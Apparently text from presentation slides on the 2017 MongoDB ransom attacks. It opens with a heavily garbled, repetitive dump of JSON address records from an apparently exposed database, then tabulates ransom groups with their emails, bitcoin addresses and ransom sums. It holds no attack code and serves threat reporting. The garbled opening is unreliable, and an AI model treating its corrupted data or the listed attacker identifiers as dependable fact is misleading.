2083999999,40.7132925],"street":"Church Street","zipcode":"10 95,40.692273],"street":"Street":"East 233 Street","zipcode": 88442,40.7251256],"street":"S Avenue","zipcode":"11201"},"b 8042,40.7251256],"street":"Prince Street","zipcode":"10012" 93654,40.8137617999999],"street":"Lexington Avenue","zipcode 494,40.7569545],"street":"Wyckoff Avenue","zipcode":"110012" 939999999,40.7516269],"street":"Lexington Avenue","zipcode":"10012" 93932,40.6103714],"street":"Victory Boulevard","zipcode":"11385" 3099503,40.7001121],"street":"Lefferts Boulevard","zipcode":"1002" 309503,40.77365],"street":"Avenue","zipcode":"10016"},"bord 40217,40.7135015],"street":"Lefferts Boulevard","zipcode":"1002" 309503,40.757365],"street":"Lefferts Boulevard","zipcode":"1002" 309503,40.757365],"street":"Lefferts Boulevard","zipcode":"1002" 3093,40.757365],"street":"Lefferts Boulevard","zipcode":"1002" 3093,40.757365],"street":"Lefferts Boulevard","zipcode":"1002" 303,40.757365],"street":"Lefferts Boulevard","zipcode":"1002" 303,40.757365],"street":"Lefferts Boulevard","zipcode":"1002" 303,40.757365],"street":"Batert":"Third Avenue","zipcode":"1002" 303,40.757365],"street":"East 92 Street","zipcode":"1002" 303,40.757365],"street":"East 92 Street","zipcode":"11 96436,40.5987833999999],"street":"Hylan Boulevard","zipcode":"11 96436,40.5987833999999],"street":"Rutland Road","zipcode":"11 905436,40.5987833999999],"street":"Rutland Road","zipcode":"11 905436,40.5987833999999],"street":"Rutland Road","zipcode":"11 905436,40.5</pre>	106"}, "borough":"Ques "}."borough":"Manhats ":10025"}, "borough"s 2"}."borough":"Manhas },"borough":"Brooklys borough":"Queens","cs 005"},"borough":"ManAs 03"},"borough":"Broos "10007"},"borough":"S e":"10466"},"borough":"s orough":"Brooklyn","s },"borough":"Manhatts de":"10474"},"borougs ough":"Manhattan","cs },"borough":"Queens"s e":"10174"},"boroughs 0314"},"borough":"s "11379"},"borough":"s "11028"},"borough":"s "10028"},"borough":"s "borough":"Manhattan","cs "10028"},"borough":"s "10028"},"borough":"s "borough":"Manhattan","cs "borough":"Manhattan","cs "borough":"Sorough":"s "11379","borough":"s "11028"},"borough":"s "10028"},"borough":"S ough":"Manhattan","cs "borough":"Bros e":"10305"},"borough

Harak1r1





Search for MongoDB ransacking Google Docs

How to secure your Mong(https://www.mongodb.com/blog/post/how-to-avoid-a-malicio

Group name	Last Sighted on	Email Address(Sighted As)	Bitcoin Address	Ransom size 1b	er of Transacti
Harak1r1					
	20-12-2017	harak1r1@sigaint.org	13zaxGVij9MNc2jyvDRhLyYpkCh323MsMg	0.2 BTC	23
			14VaE8NpTBTvx8k4SmteYKwPiu2YeWmuhh	0.2 BTC	6
			1MMA6YD99vAfzKghrb3dY91KpSZV6TMd2x	0.2 BTC	0
	8-1-2017 12:30:00	h4r4k1r1@sigaint.org	1LyVyAsQz5TcBH97LdXszmsp8PW7VP3SCp	0.5BTC	0
			14QYh7PXnvXGa9ZjFFedA5savFoMySCvQW	0.5 BTC	0
	1-16-2017 3:38:03		15ZDt9prQbyEv2KmSgRxgakTfgyz9SGHu1	0.2BTC	0
	1-6-2017 9:20:00	0704341626asdf@signaint.org	18eUPJLM79zdXKYWZSzT29fBQScFwU81VR	0.15 BTC	11
	8-1-2017 16:00:00	ac34@sigaint.org	1GZSWuA7EC1y1cZ2c85CnnsD1cNk67yAUc	0.5 BTC	0
	1-8-2017 11:00:00	cruelty@sigaint.org	13spvvgsv815jXr7nn7iG93DAujUZCwPAJ	0.5 BTC	0
			1Pbcnf7zPELLYZiVjfGF9CSyKYtgma1LiA	0.5 BTC	0
			1EjgCJqmARVGCTwV9DFhag7ZUL8DJcwKaQ	0.5 BTC	0
	6-1-2017 20:02:00	3lix1r@mail2tor.com	17w8EBkCgTQJQAQZ9Bzdf2rZeR5xxfCanV	0.25 BTC	10
(raken0	1-01-2017 17:52:43	kraken0@india.com	1J5ADzFv1qx3fsUPUY1AWktuJ6DF9P6hiF	1 BTC 0.1 BTC 0.2 BTC	110
			1ECAygGn3A1jPXMCsLPSKTUpgzxKZyU81S	0.1 BTC	0
			1NVLhvfTexSW1CB9vR7o6c4wY8HyHeYoh	0.1 BTC	0
			1Hjn6vn6odiapCBMa4mhm1unegrjS3bexV	0.5 BTC	0
			1J5ADzFv1gx3fsUPUY1AWktuJ6DF9P6hiF	0.2 BTC	
			1J5ADzFv1gx3fsUPUY1AWktuJ6DF9P6hiF	0.2 BTC	
wn3d	5-1-2017 12:50:00	0wn3d@protonmail.com	15b7bS8tUa8NpzX2FRJQskEFiWRDa9av6f	0.5 BTC	11



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Any questions?



"In my day, kids didn't build massive, ransomwarespewing botnets. They got a paper route."

brianmooredraws.com

